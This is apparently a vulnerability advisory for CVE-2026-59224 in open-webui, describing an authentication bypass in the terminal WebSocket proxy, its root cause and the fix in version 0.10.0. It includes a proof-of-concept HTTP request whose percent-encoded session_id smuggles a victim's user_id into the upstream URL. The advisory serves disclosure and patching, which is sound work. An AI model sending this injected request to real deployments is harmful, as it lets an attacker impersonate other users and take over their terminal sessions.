high · 8CVE-2026-59224Jul 24, 2026

CVE-2026-59224: open-webui Terminal Proxy Authentication Bypass via session_id Query Injection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated Open WebUI user can impersonate another user's identity toward the terminal backend by smuggling a crafted user_id into the WebSocket proxy URL through an unvalidated session_id…

Packageopen-webui
Ecosystempip
Affected< 0.10.0
Fixed in0.10.0
CVE-2026-59224: open-webui Terminal Proxy Authentication Bypass via session_id Query Injection

The problem

The WebSocket terminal proxy in backend/open_webui/routers/terminals.py builds the upstream URL by directly concatenating the session_id path parameter, then appends ?user_id=<caller>. Because session_id is never validated or percent-encoded, a caller can embed an encoded ? or & inside it to inject an arbitrary user_id query parameter ahead of the real one.

The HTTP proxy path has a parallel issue: it forwards X-User-Id: <caller> to the upstream with no cryptographic binding, so any attacker who can reach the upstream directly (SSRF, compromised peer) can spoof it. Together, both paths allow a normal authenticated user to present another user's identity to the terminal coordinator, potentially attaching to a live PTY session scoped to that user.

Proof of concept

A working proof-of-concept for CVE-2026-59224 in open-webui, with the exact payload below.

http
# Attacker is authenticated as user-id "attacker-id".
# Target is user-id "victim-id" with a known active session "victim-sess".
# Craft a session_id that injects ?user_id=victim-id ahead of the appended one:
#   raw session_id = victim-sess?user_id=victim-id&x=
#   percent-encode the injected delimiters so Open WebUI passes them through:
#   session_id = victim-sess%3Fuser_id%3Dvictim-id%26x%3D
#
# Open WebUI then builds (vulnerable code):
#   upstream_url  = f'{ws_base}/p/{policy_id}/api/terminals/{session_id}'
#   upstream_url += f'?{urllib.parse.urlencode({"user_id": user.id})}'
# which produces:
#   ws://upstream/p/<policy>/api/terminals/victim-sess?user_id=victim-id&x=?user_id=attacker-id
# The upstream URL-decodes once; the backend coordinator reads the FIRST user_id = victim-id.

GET /ws/terminals/<policy_id>/victim-sess%3Fuser_id%3Dvictim-id%26x%3D HTTP/1.1
Host: open-webui.internal
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <key>
Authorization: Bearer <attacker-jwt>

The root cause (CWE-287, CWE-290) is two-fold. First, session_id is a path-derived string that is concatenated directly into the upstream URL with no encoding or character-class validation, while the HTTP sibling already calls _sanitize_proxy_path. An attacker percent-encodes ?user_id=victim-id& inside session_id; Open WebUI passes it through, and the upstream decodes it once, splitting the query string before the legitimately appended user_id.

Second, user_id / X-User-Id is an unsigned bearer-style claim with no HMAC or short-lived token binding it to the session. Even without query injection, any party that can reach the upstream HTTP port can forge the header. The patch at commit 5f3a628 encodes session_id with urllib.parse.quote(session_id, safe="") before URL construction and rejects characters including ?, &, #, %, and /, closing the injection vector.

Proper identity binding (a signed short-lived claim) is the recommended follow-on.

The fix

Upgrade to open-webui 0.10.0 (commit 5f3a628, PR #26042). The fix applies urllib.parse.quote(session_id, safe="") before building the upstream WebSocket URL and rejects path-delimiter characters, preventing query injection. As a defence-in-depth measure, consider replacing the bare user_id / X-User-Id with a short-lived signed token (for example HS256 over {uid, iat, aud}) verified by the upstream coordinator.

Reported by smoke-wolf (earliest filing); rexpository (WebSocket query-injection vector).

References: [1][2][3][4][5][6]

Related research